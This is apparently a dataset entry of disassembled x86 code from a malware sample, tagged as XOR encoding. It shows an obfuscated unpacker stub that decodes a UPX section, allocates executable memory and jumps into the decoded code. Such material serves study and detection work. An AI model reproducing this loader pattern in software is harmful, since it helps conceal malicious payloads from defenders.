Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x95f30954
sub eax, 0x3d9da120
sub eax, 0xb0c45aca
popal
not edi
mov edi, 0x313ac67f
mov eax, 0
mov esi, ebx
not edx
or edx, edx
inc edx
mov ecx, esi
add edi, 0x1ea27fc8
add edx, 0x2acd207a
mov ebx, ecx
and edi, edx
dec edi
dec edx
inc eax
add edx, 0xf3b4cd40
add edi, 1
cmp eax, 0x1008046
jne 0xa789cb
or edx, edx
add edi, 0x26dd6adb
sub edi, 0xc11d840e
or edi, eax
add edi, 0xf6507bdf
mov eax, 0xa78796
mov ecx, edx
mov edx, esi
not edx
mov edi, 0xa7898a
or esi, esi
add edx, ecx
sub esi, ecx
mov ebx, dword [eax]
or ecx, ecx
or esi, edx
inc esi
and ebx, 0xff
inc esi
or edx, esi
xor dword [edi], ebx
sub ecx, 0x298e3df2
add edx, 0x32b837ca
inc edi
dec ecx
not ecx
add eax, 1
mov esi, 0x8b3b1244
or esi, edx
cmp edi, entry0
jl 0xa78a2b
or edx, ecx
mov esi, 0x4ec2304c
add edx, 1
and edx, ecx
not esi
sub ebx, 0x1bccc64
mov edi, 0xa7898e
add ecx, edx
sub ebx, 0xe0debc4a
not edx
mov edi, dword [edi]
mov edx, esi
inc ebx
mov edi, dword [edi]
not edx
or ecx, ecx
push edi
mov ecx, 0x263c0c84
not edx
mov edi, 0xa7898a
dec esi
dec esi
sub ecx, esi
mov edi, dword [edi]
not esi
mov ecx, 0x4e3fca9f
mov edi, dword [edi]
inc ecx
sub esi, edx
push 0xa78992
and ebx, ebx
add edx, 1
call edi
add esi, 0x4c6ac5c3
add ecx, 0xda505d51
sub edx, esi
pop edi
mov ecx, 0x3d4bcad3
and ebx, esi
sub esp, 4
mov dword [esp], 0xa7899f
mov ebx, 0x3059264d
sub ecx, edx
add edx, 0x91201015
push eax
or edx, ecx
mov ecx, 0xe9317d6a
call edi
sub ecx, ebx
and ebx, edx
push 0x40
mov ebx, edx
and ebx, ecx
sub ebx, edx
sub esp, 4
mov dword [esp], 0x3000
sub esi, 0xac17820a
not esi
sub esp, 4
mov dword [esp], 0x20000e55
inc esi
and ebx, ecx
push 0
add ebx, 0xbda61bd5
inc ecx
or edx, ebx
call eax
add ebx, ebx
sub edx, 0xbfcfbf7a
add edx, 0x855f67ca
add eax, 0x20000ddf
mov ecx, edx
inc ecx
mov edi, 0xdf72c26b
inc ecx
or esi, ecx
mov dword [eax], edi
sub esi, 0x543f0108
or ebx, ecx
or ebx, ebx
mov edi, dword [eax]
sub esi, ecx
sub ebx, 0x19128218
cmp edi, 0xdf72c26b
je 0xa78b7e
mov edx, 0
mov byte [edx], al
mov edx, ebx
sub ebx, ecx
add esi, 0xfd29a192
sub esi, 0xbdaa6ffa
not ebx
sub edi, 0x91a39dde
and eax, edi
mov ebx, section.UPX1
add edi, eax
and edi, eax
add eax, 0xa5d5743b
mov esi, 0xa78795
dec eax
mov eax, edi
sub edi, eax
mov edx, 0
or eax, edi
mov edi, eax
sub eax, 0xdce10a56
mov ecx, 0xa78796
or edi, edi
dec edi
lea ecx, [edx + ecx]
and eax, edi
sub edi, 0xd1641171
add edi, 1
mov ecx, dword [ecx]
dec edi
and edi, edi
not edi
and ecx, 0xff
sub eax, 0x4e88b2d
dec edi
add edx, 1
add eax, 0x5f9af2bd
not eax
cmp edx, 0x1f4
jne 0xa78c08
mov edx, 0
inc edi
add edi, 1
not eax
and edi, eax
not edi
add eax, 0xf32eb489
xor dword [ebx], ecx
add edi, 0x3a6ea2c9
add eax, 1
not edi
add ebx, 2
add edi, 1
mov eax, 0x50d72814
or eax, edi
cmp ebx, esi
jl 0xa78bc0
sub edi, 0x42f3440e
mov edi, 0x824d3689
dec eax
not edi
mov ebx, section.UPX1
add edi, esi
sub esi, 0x53e0dadb
inc esi
mov edx, section.UPX1
and esi, edi
mov esi, edi
not edi
mov eax, 0xa78795
not esi
sub edi, esi
mov ecx, 0
sub esi, edi
mov edi, 0xf21511da
inc esi
mov cl, byte [edx]
not edi
sub edi, 1
inc esi
mov byte [ebx], cl
sub edi, 0x7fc356e3
not esi
add edi, esi
inc ebx
sub edi, 0xcd4ac139
add esi, 0x4bd3c451
add edx, 2
sub edi, esi
not edi
cmp edx, eax
jle 0xa78c83
and edi, edi
inc esi
or edi, edi
sub eax, edi
add eax, 0x1def7d9f
sub esp, 4
mov dword [esp], 0x8dc6a0
mov eax, edi
add edi, 0x50afd2f5
sub eax, 0xd25ee1d2
ret